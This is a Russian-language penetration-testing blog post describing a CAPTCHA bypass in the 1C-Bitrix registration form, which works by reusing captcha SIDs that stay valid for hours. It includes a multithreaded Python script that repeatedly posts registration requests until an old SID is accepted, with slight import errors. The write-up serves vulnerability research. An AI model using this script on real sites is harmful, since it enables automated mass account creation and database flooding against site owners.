Bypass CAPTCHA 1C-Bitrix
Эта статья носит информационный характер. Мы призываем не к совершению противоправных действий, а к легальному поиску уязвимостей в информационных системах. Обращаем внимание на необходимость во всех случаях соблюдать действующее законодательство и правила соответствующей программы по поиску уязвимостей. Неправомерный доступ к компьютерной информации влечет за собой юридическую ответственность.
Мы не ругаем 1С-Битрикс, а показываем как ловить разработчиков на ошибке.
Еще давно, у меня был проект по анализу защищенности - веб приложение на 1С-Битрикс.
В ходе поиска уязвимостей мне попалась капча в стандартной форме регистрации 1С-Битрикс, капча генерировалось вроде бы стандартно, но я решил её поисследовать и заметил один нюанс.
Как устроена CAPTCHA в 1C-Bitrix
Captcha.php - данный файл отвечает за генерацию SID капчи, обращением к функции GetSID()
SID - это что-то наподобие secure id, который нужен для того, чтобы значение капчи в виде слова(fW0j) лежало в html форме не в открытом виде, а в виде SID(0f7e32b13881c476d4d1f7be9796ed42), это нужно чтобы не так легко ее можно было обойти
Генерация - после того, как открываешь форму она генерируется, идет GET запрос на captcha.php и получаешь значение в виде картинки и sid значения.
В результате капча в html выглядит так:
После того, как все сгенерировано капча становиться URL-адресом, который выглядит следующем образом
Если перейти по этому URL адресу, нас будет ждать картинка капчи, которая подгружается в различные формы.
Обход CAPTCHA
После того, как обновить страницу, обновится и сама капча вместе с её SID.
Но была одна странность в том проекте, старый SID капчи, после обновления страницы был в сохранности порядка 4-х часов и я решил проверить, а не сгенерируется ли опять эта самая капча с её SID, раз она в сохранности около 4-х часов и это сработало.
Мой коллега помог написать скрипт для GET запроса напрямую к captcha.php, за что спасибо, но такой метод не сработал.
Тогда я попробовал сделать скрипт с POST запросом через форму регистрации и получил положительный результат.
Отправляем POST запрос на регистрацию нового юзера через python
Отправляем его до тех пор, пока не попадется старый sid
Если попался старый сид, то зарегистрируется новый юзер и скрипт выведет "ok"
import sys
import requests
import threading
requests.packages.urllib3.disable_warnings()
THREAD_COUNT = 10
def bypass():
sid = 'вставляем_недавно_сгенерированный_SID'
url = "Сайт"
data = {
'AUTH_FORM':'Y',
'TYPE': 'REGISTRATION' ,
'USER_NAME': 'klek',
'USER_LAST_NAME': 'klek',
'USER LOGIN': 'asdasdasd',
'USER PASSWORD': '123123123',
'USER_CONFIRM PASSWORD': '123123123',
'USER EMAIL': 'testtest@test.com',
'captcha_sid': sid,
'captcha_word': 'Значение капчи',
'USER_AGREEMENT': 'Y',
'Register': 'sdfssdsddfdsf'
}
while True:
req = requests.post(url, data=data)
time.sleep(0.7)
if "Слово для защиты от автоматической регистрации введено неверно" in req.text:
pass
else:
print("ok")
if __name__ == '__main__':
threads = []
for i in range(THREAD_COUNT):
t = Thread(target=bypass)
threads.append(t)
t.start()
for t in threads:
t.join()
Скрипт может дать ложное срабатывание, к примеру страница может начать выдавать код 500 и скрипт покажет OK, чтобы убедится что ложного срабатывание не произошло, достаточно проверить создалась ли учетная запись.
Импакт от этого - переполнение базы данных путем создания различных юзеров.
Также можно применять и на других формах при условии если SID живет много часов.
Также можно сгенерировать к примеру 10 сидов и добавить в скрипт, это ускорит обход капчи.